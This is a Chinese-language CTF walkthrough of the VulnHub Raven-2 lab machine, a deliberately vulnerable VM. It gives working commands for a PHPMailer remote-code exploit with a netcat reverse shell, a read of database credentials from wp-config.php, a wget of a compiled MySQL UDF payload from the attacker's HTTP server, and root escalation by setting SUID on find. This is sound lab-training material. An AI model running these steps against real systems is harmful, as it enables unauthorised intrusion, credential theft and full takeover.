靶场练习第二十五天~vulnhub靶场之Raven-2

一、准备工作

kali和靶机都选择NAT模式(kali与靶机同网段)

1.靶场环境

下载链接:Raven: 2 ~ VulnHub

2.kali的ip

命令:ifconfig

靶场练习第二十五天~vulnhub靶场之Raven-2_第1张图片

3.靶机的ip

扫描靶机ip

sudo arp-scan -l

靶场练习第二十五天~vulnhub靶场之Raven-2_第2张图片

二、信息收集

1.nmap的信息收集

(1)扫描靶机开放的端口及其服务

nmap -A 192.168.101.128

靶场练习第二十五天~vulnhub靶场之Raven-2_第3张图片

2.网站的信息收集

(1)靶机开放了80端口,先访问靶机网站看看有什么有用的信息

访问靶机网站,没有发现什么信息

靶场练习第二十五天~vulnhub靶场之Raven-2_第4张图片

(2)dirb扫描靶机网站

dirb http://192.168.101.128

靶场练习第二十五天~vulnhub靶场之Raven-2_第5张图片

1)发现dirb扫描到的网站除了一个wordpress其他都是文件目录,可能存在文件目录浏览漏洞

靶场练习第二十五天~vulnhub靶场之Raven-2_第6张图片

2)对目录文件进行排查,在vendor目录下的PATH文件里找到了第一个flag

靶场练习第二十五天~vulnhub靶场之Raven-2_第7张图片

3)在vendor目录下的README.md里面看到了PHPMailer(一个功能齐全的PHP电子邮件创建和传输类)

靶场练习第二十五天~vulnhub靶场之Raven-2_第8张图片

4)在VERSION目录文件中得知PHPMailer版本号为5.2.16

靶场练习第二十五天~vulnhub靶场之Raven-2_第9张图片

知识点:PHPMailer < 5.2.18版本存在安全漏洞,可使未经身份验证的远程攻击者在Web服务器用户上下文中执行任意代码,远程控制目标web应用

三、漏洞发现及利用

(1)searchsploit命令搜索到可利用的漏洞

searchsploit PHPMailer

靶场练习第二十五天~vulnhub靶场之Raven-2_第10张图片

1)将相关的脚本文件拷贝

cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./

2)修改脚本内容

vim 40974.py

:wq

靶场练习第二十五天~vulnhub靶场之Raven-2_第11张图片

3)在攻击机kali终端开启监听端口4444

nc -lvvp 4444

靶场练习第二十五天~vulnhub靶场之Raven-2_第12张图片

4)运行脚本

python 40974.py

如果报错执行下面的命令

pip install requests-toolbelt

编码问题就在第一行脚本里面添加

#! /usr/bin/python3$

# -*- coding: utf-8 -*-$

如果两个都不行尝试一下下面的命令

python3 40974.py

我这里提示是说未声明编码,所以在脚本第一行添加

原来是我的python是python3

靶场练习第二十五天~vulnhub靶场之Raven-2_第13张图片

5)先访问 http://192.168.101.128:80/contact.php,就会生成后门文件 shell1.php,再访问 http://192.168.101.128/shell1.php,就成功反弹了一个shell到攻击机上靶场练习第二十五天~vulnhub靶场之Raven-2_第14张图片靶场练习第二十五天~vulnhub靶场之Raven-2_第15张图片

6)看看kali那边情况,成功监听

靶场练习第二十五天~vulnhub靶场之Raven-2_第16张图片

四、提权

1.优化命令执行终端,执行下面命令进入python交互式(注意要下载python环境才能运行):

python -c 'import pty; pty.spawn("/bin/bash");'

2.寻找flag文件

find ./ -name flag*

靶场练习第二十五天~vulnhub靶场之Raven-2_第17张图片

3.查看刚才寻找到的flag2文件

cat /var/www/flag2.txt

4.flag3为图片,网站下查看

http://192.168.101.128/wordpress/wp-content/uploads/2018/11/flag3.png

靶场练习第二十五天~vulnhub靶场之Raven-2_第18张图片

5. 查看mysql的config配置文件

cd /var/www/html/wordpress

ls -al

cat wp-config.php

靶场练习第二十五天~vulnhub靶场之Raven-2_第19张图片

6.发现了网站的mysql数据库,数据库的账号密码root:R@v3nSecurity

mysql -u root -pR@v3nSecurity

靶场练习第二十五天~vulnhub靶场之Raven-2_第20张图片

7.mysql

1)查看数据库

show databases;

靶场练习第二十五天~vulnhub靶场之Raven-2_第21张图片

2)在kali终端查找脚本

searchsploit 1518.c

3)脚本下载到靶机

1.复制脚本

cp /usr/share/exploitdb/exploits/linux/local/1518.c .

2.gcc 编译、运行

gcc -g -shared -o x7.so 1518.c -lc

3.kali开启http服务

python -m SimpleHTTPServer

4.靶机下载脚本

cd /tmp

wget http://192.168.101.10:8000/x7.so

ls

靶场练习第二十五天~vulnhub靶场之Raven-2_第22张图片

4)进入数据库创建数据表 foo,向表中插入二进制数据,然后利用dumpfile函数把文件导出, 再新建存储函数do_system类型是integer,别名(soname)文件名字

mysql -u root -pR@v3nSecurity

use mysql;

create table foo(line blob);

insert into foo values(load_file('/tmp/x7.so'));

select * from foo into dumpfile '/usr/lib/mysql/plugin/x7.so';

create function do_system returns integer soname 'x7.so';

select * from mysql.func;

靶场练习第二十五天~vulnhub靶场之Raven-2_第23张图片

5)通过do_system函数给find命令所有者的suid权限,使其可以执行root权限的命令

select do_system('chmod u+s /usr/bin/find');

exit

靶场练习第二十五天~vulnhub靶场之Raven-2_第24张图片

8.提权

find / -exec "/bin/sh" \;

靶场练习第二十五天~vulnhub靶场之Raven-2_第25张图片

1)flag4

cd /root

cat flag4.txt

靶场练习第二十五天~vulnhub靶场之Raven-2_第26张图片

你可能感兴趣的:(#,靶机练习,安全,web安全,php)